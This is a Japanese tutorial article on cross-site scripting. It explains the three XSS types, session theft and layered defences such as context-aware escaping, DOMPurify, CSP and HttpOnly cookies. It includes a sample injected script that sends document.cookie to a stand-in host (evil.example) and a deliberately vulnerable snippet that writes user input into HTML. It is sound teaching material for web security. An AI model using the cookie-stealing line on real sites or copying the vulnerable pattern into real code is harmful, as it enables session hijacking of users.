XSS(クロスサイトスクリプティング)
他人の入力をそのまま画面に出すと、その文字列が「JavaScript」として動いてしまう。攻撃者のスクリプトを他ユーザーのブラウザで実行させ、Cookie やセッションを盗む攻撃。
- 1.XSS は、攻撃者が仕込んだ JavaScript を「他のユーザーのブラウザ」で実行させる攻撃。サーバではなく被害者の画面の中で動く。
- 2.原因はほぼ一つ。ユーザー由来の文字列を、エスケープせずそのまま HTML として出力してしまうこと。
- 3.本丸の対策は「出力時のエスケープ(文脈別)」。CSP と Cookie の HttpOnly は被害を小さくする保険であって、単独の解決策ではない。
なぜ「文字列」がスクリプトになるのか
ブラウザは受け取った HTML を上から解釈し、<script> を見つけたら中身を実行すべきコードとして扱います。ブラウザには「これは正規のコードか、攻撃者が紛れ込ませた文字列か」を区別する手段がありません。HTML の文法上 <script> に見えれば、誰が書いたものでも動くのです。
問題が起きるのは、アプリがユーザー由来の値(投稿コメント、検索キーワード、プロフィール名など)を、加工せずページに埋め込むときです。たとえば検索結果に「"〇〇" の検索結果」と表示するつもりが、〇〇 の部分に攻撃者が <script>...</script> を入れていたら、それがそのまま実行されます。
// 脆弱な例:ユーザー入力をそのまま HTML に差し込んでいる
const keyword = req.query.q; // 攻撃者: <script>...</script>
res.send(`<h1>「${keyword}」の検索結果</h1>`); // → script タグがそのまま出力され、実行される
つまり XSS は「賢い攻撃」というより、データであるべき文字列を、コードとして出力してしまう実装ミスです。だからこそ対策の本筋は「出力の仕方」を直すことにあります。
3つの型:スクリプトはどこから来るか
XSS は「攻撃スクリプトがどこを経由して被害者に届くか」で 3 つに分類されます。実害(Cookie 等を盗む)は同じですが、経路が違えば対策の当てどころも変わるため、区別が重要です。
| 型 | スクリプトの経路 | 典型例 | 怖さ |
|---|---|---|---|
| 反射型(Reflected) | URL 等のリクエストに乗せ、サーバが応答にそのまま反射 | 罠リンクを踏ませ、検索語に仕込んだスクリプトが返ってくる | 1人ずつ狙う(リンクを踏ませる必要あり) |
| 格納型(Stored / Persistent) | DB に保存され、閲覧した全員に配信される | 掲示板コメントに仕込み、見た人全員で実行 | 最も危険。不特定多数に自動で広がる |
| DOM 型(DOM-based) | サーバを経由せず、ブラウザ内の JS が DOM を組み立てる際に発生 | URL の #部分を innerHTML に直接代入 | サーバのログに痕跡が残らず気づきにくい |
反射型は「攻撃者が用意したリンクを被害者に踏ませる」手間が要りますが、格納型は一度仕込めば、そのページを開いた全員のブラウザで自動的に実行されます。人気のある掲示板やSNSに仕込まれれば被害は一気に拡大します。DOM 型は厄介さの種類が違い、やり取りがブラウザ内で完結するためサーバ側のログに残らず、検知・調査がしにくいのが特徴です。
何が盗まれるのか:JS にできること全部
「スクリプトが動くだけ」では危険性が伝わりにくいですが、被害者の権限で動く JavaScript にできることは、ほぼ何でもです。本人が手で操作したのと区別がつきません。
- Cookie / セッションの窃取:
document.cookieを読んで攻撃者のサーバへ送信。セッションID を盗めれば、ログイン状態をそのまま乗っ取れる(パスワードすら不要)。 - なりすまし操作:被害者のブラウザから、本物のサイトへ勝手にリクエストを送る(送金・投稿・退会・パスワード変更など)。
- 入力の盗聴(キーロガー):フォームに打ち込んだ ID・パスワード・カード番号をリアルタイムで横取り。
- 偽画面の表示:DOM を書き換えて偽のログインフォームを出し、認証情報を直接抜く(フィッシング)。
// 攻撃者が注入するスクリプトの典型例(Cookie を外部へ送信)
new Image().src = 'https://evil.example/steal?c=' + encodeURIComponent(document.cookie);
XSS で最も多い実害がセッションの窃取です。攻撃者は盗んだセッションIDを自分のブラウザに食わせるだけで、被害者としてログイン済みの状態になれます。パスワードを破る必要も、二要素認証を突破する必要もありません(ログイン後の状態を丸ごと奪うため)。だからこそ後述の HttpOnly で「JS から Cookie を読めなくする」ことが、被害軽減の要になります。
対策:本丸は「出力時のエスケープ」
ここが本記事で一番大事な部分です。XSS 対策は層で考えますが、順番と主従を間違えてはいけません。
1. 出力エスケープ(本丸・必須)
唯一にして最大の対策は、ユーザー由来の値を画面に出す瞬間に、その文脈に合わせてエスケープすることです。< を <、> を >、& を & のように変換すれば、ブラウザは「タグの開始」ではなくただの文字として表示し、実行しません。
// 脆弱:そのまま HTML に差し込む
element.innerHTML = userInput; // <script> が動く
// 安全:テキストとして扱う(ブラウザがエスケープしてくれる)
element.textContent = userInput; // <script> は文字列として表示されるだけ
テンプレートエンジン(React の JSX、Vue、Thymeleaf、ERB 等)はデフォルトで自動エスケープしてくれます。React で {userInput} と書けば安全。自前で文字列連結して HTML を作るのをやめ、フレームワークの出力機構に任せるのが現実的な王道です。
「危険な文字を入口(入力時)で弾けばいい」と考えがちですが、これは主役にしてはいけません。同じデータが HTML 本文・属性値・JavaScript 内・URL と複数の文脈で出力されると、必要なエスケープが文脈ごとに異なるためです(HTML文脈で安全な値が、属性やJS文脈では危険になる)。正解は「保存はそのまま、危険になるのは出力の瞬間だから、出力する場所ごとにエスケープする」。入力バリデーションは補助であって、出力エスケープの代わりにはなりません。
2. 文脈別エスケープ:HTML だけでは足りない
「<>& を変換すれば終わり」は不十分です。値をどこに埋め込むかで、必要な処理が変わります。
| 出力する文脈 | 危険な例 | 正しい扱い |
|---|---|---|
| HTML本文 <div>ここ</div> | <script> が解釈される | HTMLエスケープ(< > & を実体参照に) |
| 属性値 <a title="ここ"> | " で属性を抜けて onmouseover= を注入 | 属性用エスケープ+必ず引用符で囲む |
| JavaScript内 <script>var x='ここ' | ' で文字列を抜けてコード注入 | JSエスケープ。そもそもJS内に値を埋めない |
| URL <a href="ここ"> | javascript: スキームでスクリプト実行 | スキーム検証(http/https のみ許可) |
特に href や src に javascript: から始まる文字列を入れられると、エスケープをすり抜けてスクリプトが走ります。URL を受け取る箇所では「http:// か https:// で始まるか」を必ず検証してください。
3. どうしても HTML を許可したいなら:サニタイザ
「コメントに太字や箇条書きを許可したい」など、HTML タグ自体を残す必要があるケースでは、エスケープできません。その場合は安全なタグだけを許可リスト方式で残す専用ライブラリ(DOMPurify など)を通します。自作の正規表現でタグを除去するのは禁物で、<scr<script>ipt> のような入れ子や多彩なエンコードで容易に回避されます。
// HTML を許可しつつ危険な要素・属性だけ除去する
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml); // <script> や onerror= 等が落ちる
4. CSP と HttpOnly:被害を小さくする「保険」
ここは保険であって、本丸ではない点を強調します。出力エスケープを怠った穴を、被害軽減で補う層です。
- CSP(Content Security Policy):
Content-Security-Policyヘッダで「実行を許可するスクリプトの出所」を制限します。インラインの<script>を禁止すれば、注入されたスクリプトの実行をブラウザ側でブロックできる。ただし設定は難しく、XSS の穴そのものは塞ぎません。 - Cookie の
HttpOnly属性:Cookie にHttpOnlyを付けるとdocument.cookieから読めなくなるため、XSS が起きてもセッションIDの窃取を防げます。乗っ取りに直結する被害を断つ効果が大きい。
正しい優先順位は (1) 出力エスケープ/自動エスケープのフレームワークで穴自体を塞ぐ(最優先)、(2) HTML を残すなら DOMPurify 等の許可リスト型サニタイザ、(3) CSP で万一の実行を抑止、(4) HttpOnly Cookie でセッション窃取を遮断。(3)(4) は「漏れたときの被害を小さくする保険」であり、これだけに頼ると本体の穴は開いたままです。順番を逆にしない(保険を主役にしない)ことが肝心です。
まとめ
XSS は高度な攻撃ではなく、「データであるべき文字列を、コードとして出力してしまう」実装ミスです。型(反射型・格納型・DOM型)で経路は違えど、被害は「被害者のブラウザで攻撃者のJSが動く」=セッション窃取やなりすましに直結します。
対策の主従は明確で、本丸は出力時の文脈別エスケープ(=自動エスケープするフレームワークに任せる)。CSP や HttpOnly は被害を抑える保険として併用します。同じくユーザーの「自動送信される認証情報」を悪用する CSRF とは原因も対策も異なるため、混同せず両方を塞ぐ必要があります。データベース側で似た構図(文字列がコードとして解釈される)を持つのが SQLインジェクション で、こちらも「プレースホルダでデータとコードを分離する」という同じ思想で防ぎます。
セキュリティ Article
XSS(クロスサイトスクリプティング)を実務で読む
TL;DRは入口です。実際に選ぶ・使う段階では、何を解決するか、何と比較するか、導入後にどこで詰まるかまで見る必要があります。
解決すること
セキュリティ
比較で見る軸
難易度: intermediate / カテゴリ: セキュリティ / タグ数: 4
導入後に効く点
原因はほぼ一つ。ユーザー由来の文字列を、エスケープせずそのまま HTML として出力してしまうこと。
先に潰すリスク
用語だけ覚えても、設計・実装・運用でどこに効くかを確認しないと判断を誤る。
- 難易度
- intermediate
- カテゴリ
- セキュリティ
- タグ数
- 4
判断チェックリスト
- 自社の用途が「セキュリティ / XSS」に近いか確認する。
- 強みである「XSS は、攻撃者が仕込んだ JavaScript を「他のユーザーのブラウザ」で実行させる攻撃。サーバではなく被害者の画面の中で動く。」が本当に評価軸になるか確認する。
- 注意点の「用語だけ覚えても、設計・実装・運用でどこに効くかを確認しないと判断を誤る。」を運用で吸収できるか確認する。
- 公開値や仕様値は、対象プラン・対象機種・対象リージョンまで確認する。
- 既存システム、ID、ネットワーク、監視、バックアップとの接続方法を先に洗い出す。
- 小さく試してから、本番移行、権限設計、障害時手順、コスト監視を決める。